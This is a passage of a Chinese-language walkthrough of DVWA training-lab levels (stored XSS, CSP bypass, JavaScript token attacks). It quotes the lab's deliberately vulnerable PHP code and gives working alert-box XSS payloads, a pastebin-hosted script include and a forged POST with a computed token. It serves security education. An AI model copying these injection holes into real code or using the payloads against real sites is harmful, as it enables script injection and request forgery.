$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
trim(string,charlist) : 移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符
stripslashes(string): 去除掉string字符的反斜杠\
mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$GLOBALS :引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
可以看出,low级别的代码对我们输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞
我们输入 1 和 <script>alert(666)</script> ,可以看到,我们的js代码立即就执行了
13.CSP Bypass
内容安全策略(CSP)使服务器管理员可以通过指定浏览器应认为是可执行脚本的有效源的域来减少或消除XSS可能发生的向量。然后,兼容CSP的浏览器将仅执行从这些允许列出的域接收的源文件中加载的脚本,忽略所有其他脚本(包括内联脚本和事件处理HTML属性)。
除了限制可以从中加载内容的域之外,服务器还可以指定允许使用哪些协议; 例如(理想情况下,从安全角度来看),服务器可以指定必须使用HTTPS加载所有内容。完整的数据传输安全策略不仅包括强制HTTPS进行数据传输,还包括使用安全标记标记所有cookie,并提供从HTTP页面到其HTTPS对应项的自动重定向。站点还可以使用Strict-Transport-SecurityHTTP标头来确保浏览器仅通过加密通道连接到它们。
两种方法可以启用 CSP。
一种是通过 HTTP 头信息的Content-Security-Policy的字段。
一种是通过网页的<meta>标签
代码审计:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
从代码中可以看出只信任以下域名:https://pastebin.com ,example.com code.jquery.com, https://ssl.google-analytics.com
首先访问https://pastebin.com网址
在new paste 下写入alert(‘111’)
下拉创建paste
raw一下
复制网页链接
include一下,可以看到111的弹窗
我这里实验没弹出来,说是因为https://pastebin.com是美国的网站。
14.JavaScript Attacks
代码审计:
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
发现这段描述
在index.html的代码中:
$message = "";
// Check whwat was sent in to see if it was what was expected
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (array_key_exists ("phrase", $_POST) && array_key_exists ("token", $_POST)) {
$phrase = $_POST['phrase'];
$token = $_POST['token'];
if ($phrase == "success") {
switch( $_COOKIE[ 'security' ] ) {
case 'low':
if ($token == md5(str_rot13("success"))) {
$message = "<p style='color:red'>Well done!</p>";
} else {
$message = "<p>Invalid token.</p>";
}
}
}
}
}
可以看到
这里通过Post 方式获取变量phrase 和token 的值,if(phrase == "success") 且token值正确的话,就输出well done!
直接输入success 发现果然无效,还需要正确的token
控制台输入md5(rot13("success"));
拿到token:"38581812b435834ebf84ebcc2c6424d6"
接下来直接post请求
token=38581812b435834ebf84ebcc2c6424d6&phrase=success&send=Submit
即可成功